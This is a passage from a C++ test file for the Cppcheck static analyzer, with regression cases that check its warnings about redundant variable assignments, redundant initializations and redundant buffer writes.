f();\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::f() {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \" int x;\\n\"\n \" void g() { return x*x; }\\n\"\n \" void f(Foo z);\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::f(Foo z) {\\n\"\n \" x = 2;\\n\"\n \" x = z.g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ({ })\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" x = 321;\\n\"\n \" x = ({ asm(123); })\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // from #3103 (avoid a false negative)\n check(\"int foo(){\\n\"\n \" int x;\\n\"\n \" x = 1;\\n\"\n \" x = 1;\\n\"\n \" return x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: x is assigned\\n\"\n \"[test.cpp:4:7]: note: x is overwritten\\n\", errout_str());\n\n // from #3103 (avoid a false positive)\n check(\"int foo(){\\n\"\n \" int x;\\n\"\n \" x = 1;\\n\"\n \" if (y)\\n\" // <-- cppcheck does not know anything about 'y'\n \" x = 2;\\n\"\n \" return x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // initialization, assignment with 0\n check(\"void f() {\\n\" // Ticket #4356\n \" int x = 0;\\n\" // <- ignore initialization with 0\n \" x = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" state_t *x = NULL;\\n\"\n \" x = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12]: style: Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" state_t *x;\\n\"\n \" x = NULL;\\n\"\n \" x = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12]: style: Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"int foo() {\\n\" // #4420\n \" int x;\\n\"\n \" bar(++x);\\n\"\n \" x = 5;\\n\"\n \" return bar(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // struct member..\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: style: Variable 'ab.a' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:5:10]: note: ab.a is assigned\\n\"\n \"[test.cpp:6:10]: note: ab.a is overwritten\\n\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab = do_something();\\n\"\n \" return ab.a;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" do_something(&ab);\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(DO_SOMETHING do_something) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" do_something(&ab);\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \" ab++;\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \" ab = x;\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(struct AB *ab) {\\n\" // #\n \" ab->data->x = 1;\\n\"\n \" ab = &ab1;\\n\"\n \" ab->data->x = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5964\n check(\"void func(char *buffer, const char *format, int precision, unsigned value) {\\n\"\n \" (precision < 0) ? sprintf(buffer, format, value) : sprintf(buffer, format, precision, value);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't crash\n check(\"struct data {\\n\"\n \" struct { int i; } fc;\\n\"\n \"};\\n\"\n \"struct state {\\n\"\n \" struct data d[123];\\n\"\n \"};\\n\"\n \"void func(struct state *s) {\\n\"\n \" s->foo[s->x++] = 2;\\n\"\n \" s->d[1].fc.i++;\\n\"\n \"}\");\n\n // #6525 - inline assembly\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" asm(\\\"foo\\\");\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6555\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(p);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: style: The scope of the variable 'p' can be reduced. [variableScope]\\n\"\n \"[test.cpp:2:11]: style: Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" if(z) {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(p);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Member variable pointers\n check(\"void podMemPtrs() {\\n\"\n \" int POD::*memptr;\\n\"\n \" memptr = &POD::a;\\n\"\n \" memptr = &POD::b;\\n\"\n \" if (memptr)\\n\"\n \" memptr = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: style: Variable 'memptr' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:12]: note: memptr is assigned\\n\"\n \"[test.cpp:4:12]: note: memptr is overwritten\\n\", errout_str());\n\n // Pointer function argument (#3857)\n check(\"void f(float * var)\\n\"\n \"{\\n\"\n \" var[0] = 0.2f;\\n\"\n \" var[0] = 0.2f;\\n\" // <-- is initialized twice\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'var[0]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: var[0] is assigned\\n\"\n \"[test.cpp:4:10]: note: var[0] is overwritten\\n\", errout_str());\n\n check(\"void f(float * var)\\n\"\n \"{\\n\"\n \" *var = 0.2f;\\n\"\n \" *var = 0.2f;\\n\" // <-- is initialized twice\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: style: Variable '*var' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:8]: note: *var is assigned\\n\"\n \"[test.cpp:4:8]: note: *var is overwritten\\n\", errout_str());\n\n // Volatile variables\n check(\"void f() {\\n\"\n \" volatile char *reg = (volatile char *)0x12345;\\n\"\n \" *reg = 12;\\n\"\n \" *reg = 34;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map& m, int key, int value) {\\n\" // #6379\n \" m[key] = value;\\n\"\n \" m[key] = value;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: style: Variable 'm[key]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:12]: note: m[key] is assigned\\n\"\n \"[test.cpp:3:12]: note: m[key] is overwritten\\n\",\n errout_str());\n }\n\n void redundantVarAssignment_trivial() {\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" a = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a;\\n\"\n \" a = 0;\\n\"\n \" a = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned a;\\n\"\n \" a = 0u;\\n\"\n \" a = 2u;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* a;\\n\"\n \" a = (void*)0;\\n\"\n \" a = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: (style) Variable 'a' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" void* a;\\n\"\n \" a = (void*)0U;\\n\"\n \" a = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: (style) Variable 'a' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n }\n\n void redundantVarAssignment_struct() {\n check(\"struct foo {\\n\"\n \" int a,b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main() {\\n\"\n \" struct foo x;\\n\"\n \" x.a = _mm_set1_ps(1.0);\\n\"\n \" x.a = _mm_set1_ps(2.0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:7] -> [test.cpp:8:7]: (style) Variable 'x.a' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.x = 23;\\n\"\n \" ab.y = 41;\\n\"\n \" ab.x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:5:8]: (style) Variable 'ab.x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct AB ab = {0};\\n\"\n \" ab = foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_union() {\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void main(void)\\n\"\n \"{\\n\"\n \" short lTotal = 0;\\n\"\n \" union\\n\"\n \" {\\n\"\n \" short l1;\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" unsigned char b1;\\n\"\n \" unsigned char b2;\\n\"\n \" } b;\\n\"\n \" } u;\\n\"\n \" u.l1 = 1;\\n\"\n \" lTotal += u.b.b1;\\n\"\n \" u.l1 = 2;\\n\" //Should not show RedundantAssignment\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void main(void)\\n\"\n \"{\\n\"\n \" short lTotal = 0;\\n\"\n \" union\\n\"\n \" {\\n\"\n \" short l1;\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" unsigned char b1;\\n\"\n \" unsigned char b2;\\n\"\n \" } b;\\n\"\n \" } u;\\n\"\n \" u.l1 = 1;\\n\"\n \" u.l1 = 2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:13:10] -> [test.cpp:14:10]: (style) Variable 'u.l1' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n // Ticket #10093 \"redundantAssignment when using a union\"\n check(\"typedef union fixed32_union {\\n\"\n \" struct {\\n\"\n \" unsigned32 abcd;\\n\"\n \" } u32;\\n\"\n \" struct {\\n\"\n \" unsigned16 ab;\\n\"\n \" unsigned16 cd;\\n\"\n \" } u16;\"\n \" struct {\\n\"\n \" unsigned8 a;\\n\"\n \" unsigned8 b;\\n\"\n \" unsigned8 c;\\n\"\n \" unsigned8 d;\\n\"\n \" } b;\\n\"\n \"} fixed32;\\n\"\n \"void func1(void) {\\n\"\n \" fixed32 m;\\n\"\n \" m.u16.ab = 47;\\n\"\n \" m.u16.cd = 0;\\n\"\n \" m.u16.ab = m.u32.abcd / 53;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #10093 \"redundantAssignment when using a union\"\n check(\"typedef union{\\n\"\n \" char as_char[4];\\n\"\n \" int as_int;\\n\"\n \"} union_t;\\n\"\n \"void fn(char *data, int len) {\\n\"\n \" int i;\\n\"\n \" for (i = 0; i < len; i++)\\n\"\n \" data[i] = 'a';\\n\"\n \"}\\n\"\n \"int main(int argc, char *argv[]) {\\n\"\n \" union_t u;\\n\"\n \" u.as_int = 42;\\n\"\n \" fn(&u.as_char[0], 4);\\n\"\n \" u.as_int = 0;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void foo(char *ptr) {\\n\"\n \" union {\\n\"\n \" char * s8;\\n\"\n \" unsigned long long u64;\\n\"\n \" } addr;\\n\"\n \" addr.s8 = ptr;\\n\"\n \" addr.u64 += 8;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12895\n \" int x, y;\\n\"\n \"};\\n\"\n \"union U {\\n\"\n \" S* s;\\n\"\n \"};\\n\"\n \"void f(const U& Src, const U& Dst) {\\n\"\n \" Dst.s->x = Src.s->x;\\n\"\n \" Dst.s->y = Src.s->y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_7133() {\n // #7133\n check(\"sal_Int32 impl_Export() {\\n\"\n \" try {\\n\"\n \" try {\\n\"\n \" uno::Sequence< uno::Any > aArgs(2);\\n\"\n \" beans::NamedValue aValue;\\n\"\n \" aValue.Name = \\\"DocumentHandler\\\";\\n\"\n \" aValue.Value <<= xDocHandler;\\n\"\n \" aArgs[0] <<= aValue;\\n\"\n \" aValue.Name = \\\"Model\\\";\\n\"\n \" aValue.Value <<= xDocumentComp;\\n\"\n \" aArgs[1] <<= aValue;\\n\"\n \" }\\n\"\n \" catch (const uno::Exception&) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (const uno::Exception&) {\\n\"\n \" }\\n\"\n \"}\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void ConvertBitmapData(sal_uInt16 nDestBits) {\\n\"\n \" BitmapBuffer aSrcBuf;\\n\"\n \" aSrcBuf.mnBitCount = nSrcBits;\\n\"\n \" BitmapBuffer aDstBuf;\\n\"\n \" aSrcBuf.mnBitCount = nDestBits;\\n\"\n \" bConverted = ::ImplFastBitmapConversion( aDstBuf, aSrcBuf, aTwoRects );\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:24] -> [test.c:5:24]: (style) Variable 'aSrcBuf.mnBitCount' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n check(\"void ConvertBitmapData(sal_uInt16 nDestBits) {\\n\"\n \" BitmapBuffer aSrcBuf;\\n\"\n \" aSrcBuf.mnBitCount = nSrcBits;\\n\"\n \" BitmapBuffer aDstBuf;\\n\"\n \" aSrcBuf.mnBitCount = nDestBits;\\n\"\n \" bConverted = ::ImplFastBitmapConversion( aDstBuf, aSrcBuf, aTwoRects );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:24] -> [test.cpp:5:24]: (style) Variable 'aSrcBuf.mnBitCount' is reassigned a value before the old one has been used. [redundantAssignment]\\n\",\n errout_str());\n\n check(\"class C { void operator=(int x); };\\n\" // #8368 - assignment operator might have side effects => inconclusive\n \"void f() {\\n\"\n \" C c;\\n\"\n \" c = x;\\n\"\n \" c = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7] -> [test.cpp:5:7]: (style, inconclusive) Variable 'c' is reassigned a value before the old one has been used if variable is no semaphore variable. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantVarAssignment_stackoverflow() {\n check(\"typedef struct message_node {\\n\"\n \" char code;\\n\"\n \" size_t size;\\n\"\n \" struct message_node *next, *prev;\\n\"\n \"} *message_list;\\n\"\n \"static message_list remove_message_from_list(message_list m) {\\n\"\n \" m->prev->next = m->next;\\n\"\n \" m->next->prev = m->prev;\\n\"\n \" return m->next;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_lambda() {\n // #7152\n check(\"int foo() {\\n\"\n \" int x = 0, y = 0;\\n\"\n \" auto f = [&]() { if (x < 5) ++y; };\\n\"\n \" x = 2;\\n\"\n \" f();\\n\"\n \" x = 6;\\n\"\n \" f();\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10228\n check(\"std::tuple g();\\n\"\n \"void h(int);\\n\"\n \"void f() {\\n\"\n \" auto [a, b] = g();\\n\"\n \" auto l = [a = a]() { h(i); };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_loop() {\n check(\"void f() {\\n\"\n \" char buf[10];\\n\"\n \" int i;\\n\"\n \" for (i = 0; i < 4; i++)\\n\"\n \" buf[i] = 131;\\n\"\n \" buf[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void bar() {\\n\" // #9262 do-while with break\n \" int x = 0;\\n\"\n \" x = 432;\\n\"\n \" do {\\n\"\n \" if (foo()) break;\\n\"\n \" x = 1;\\n\"\n \" } while (false);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int num) {\\n\" // #9420 FP\n \" int a = num;\\n\"\n \" for (int b = 0; b < num; a = b++)\\n\"\n \" dostuff(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int num) {\\n\" // #9420 FN\n \" int a = num;\\n\"\n \" for (int b = 0; b < num; a = b++);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void redundantVarAssignment_after_switch() {\n check(\"void f(int x) {\\n\" // #7907\n \" int ret;\\n\"\n \" switch (x) {\\n\"\n \" case 123:\\n\"\n \" ret = 1;\\n\" // redundant assignment\n \" break;\\n\"\n \" }\\n\"\n \" ret = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:8:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantVarAssignment_pointer() {\n check(\"void f(int *ptr) {\\n\"\n \" int *x = ptr + 1;\\n\"\n \" *x = 23;\\n\"\n \" foo(ptr);\\n\"\n \" *x = 32;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8997\n check(\"void f() {\\n\"\n \" char x[2];\\n\"\n \" char* p = x;\\n\"\n \" *p = 1;\\n\"\n \" p += 1;\\n\"\n \" *p = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_pointer_parameter() {\n check(\"void f(int *p) {\\n\"\n \" *p = 1;\\n\"\n \" if (condition) return;\\n\"\n \" *p = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_array() {\n check(\"void f() {\\n\"\n \" int arr[10];\\n\"\n \" int i = 0;\\n\"\n \" arr[i] = 1;\\n\"\n \" i += 2;\\n\"\n \" arr[i] = 3;\\n\"\n \" dostuff(arr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_switch_break() {\n // #10058\n check(\"void f(int a, int b) {\\n\"\n \" int ret = 0;\\n\"\n \" switch (a) {\\n\"\n \" case 1:\\n\"\n \" ret = 543;\\n\"\n \" if (b) break;\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" int ret = 0;\\n\"\n \" switch (a) {\\n\"\n \" case 1:\\n\"\n \" ret = 543;\\n\"\n \" if (b) break;\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:7:13]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantInitialization() {\n setMultiline();\n\n check(\"void f() {\\n\"\n \" int err = -ENOMEM;\\n\"\n \" err = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: style: Redundant initialization for 'err'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\"\n \"[test.cpp:2:13]: note: err is initialized\\n\"\n \"[test.cpp:3:9]: note: err is overwritten\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" struct S s = {1,2,3};\\n\"\n \" s = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: style: Redundant initialization for 's'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\"\n \"[test.cpp:2:16]: note: s is initialized\\n\"\n \"[test.cpp:3:7]: note: s is overwritten\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int *p = NULL;\\n\"\n \" p = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: style: Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n // \"trivial\" initialization => do not warn\n check(\"void f() {\\n\"\n \" struct S s = {0};\\n\"\n \" s = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N { enum E {e0,e1}; }\\n\"\n \"void f() {\\n\"\n \" N::E e = N::e0;\\n\" // #9261\n \" e = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10143\n \" std::shared_ptr i = g();\\n\"\n \" h();\\n\"\n \" i = nullptr;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #9815\n \" int i = g();\\n\"\n \" i = std::distance(v.begin(), std::find_if(v.begin(), v.end(), [=](int j) { return i == j; }));\\n\"\n \" return i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // cppcheck-suppress unusedPrivateFunction\n void redundantMemWrite() {\n // Simple tests\n // cppcheck-suppress unreachableCode - remove when code is enabled again\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a, foo, bar);\\n\"\n \" memset(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" strcpy(a, foo);\\n\"\n \" strncpy(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" sprintf(a, \\\"foo\\\");\\n\"\n \" memmove(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f(char *filename) {\\n\"\n \" char *p = strrchr(filename,'.');\\n\"\n \" strcpy(p, \\\"foo\\\");\\n\"\n \" dostuff(filename);\\n\"\n \" strcpy(p, \\\"foo\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Writing to different parts of a buffer\n check(\"void f(void* a) {\\n\"\n \" memcpy(a, foo, bar);\\n\"\n \" memset(a+5, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Use variable as second argument\n check(\"void f(void* a, void* b) {\\n\"\n \" memset(a, 0, 5);\\n\"\n \" memcpy(b, a, 5);\\n\"\n \" memset(a, 1, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // strcat is special\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" strcpy(a, foo);\\n\"\n \" strcat(a, bar);\\n\" // Not redundant\n \" strcpy(a, x);\\n\" // Redundant\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n // Tests with function call between copy\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" snprintf(a, foo, bar);\\n\"\n \" bar();\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void* a;\\n\"\n \"void f() {\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar();\\n\" // Global variable might be accessed in bar()\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar();\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", \"\", errout_str());\n\n check(\"void bar(void* a) {}\\n\"\n \"void f(void* a) {\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar(a);\\n\" // Passed as argument\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Branch tests\n check(\"void f(void* a) {\\n\"\n \" memset(a, 0, size);\\n\"\n \" if(x)\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4455 - initialization of local buffer\n check(\"void f(void) {\"\n \" char buf[10];\\n\"\n \" memset(buf, 0, 10);\\n\"\n \" strcpy(buf, string);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" char buf[10] = {0};\\n\"\n \" memset(buf, 0, 10);\\n\"\n \" strcpy(buf, string);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'buf' is being written before its old content has been used.\\n\", errout_str());\n\n // #5689 - use return value of strcpy\n check(\"int f(void* a) {\\n\"\n \" int i = atoi(strcpy(a, foo));\\n\"\n \" strncpy(a, 0, bar);\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7175 - read+write\n check(\"void f() {\\n\"\n \" char buf[100];\\n\"\n \" strcpy(buf, x);\\n\"\n \" strcpy(buf, dostuff(buf));\\n\" // <- read + write\n \" strcpy(buf, x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char buf[100];\\n\"\n \" strcpy(buf, x);\\n\"\n \" strcpy(buf, dostuff(buf));\\n\"\n \" strcpy(buf, x);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void redundantAssignmentSameValue() {\n check(\"int main() {\\n\" // #11642\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:5]: (style) Variable 'a' is assigned an expression that holds the same value. [redundantAssignment]\\n\", errout_str());\n\n check(\"int main() {\\n\"\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b + 1;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main() {\\n\"\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b = 5;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:11]: (style) Redundant initialization for 'b'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\", errout_str());\n\n check(\"int f(int i) {\\n\" // #12874\n \" int j = i + 1;\\n\"\n \" if (i > 5)\\n\"\n \" j = i;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12894\n \" std::string a;\\n\"\n \" void f(const S& s);\\n\"\n \" void g(const S& s);\\n\"\n \"};\\n\"\n \"void S::f(const S& s) {\\n\"\n \" std::string x = a;\\n\"\n \" this->operator=(s);\\n\"\n \" a = x;\\n\"\n \"}\\n\"\n \"void S::g(const S& s) {\\n\"\n \" std::string x = a;\\n\"\n \" operator=(s);\\n\"\n \" a = 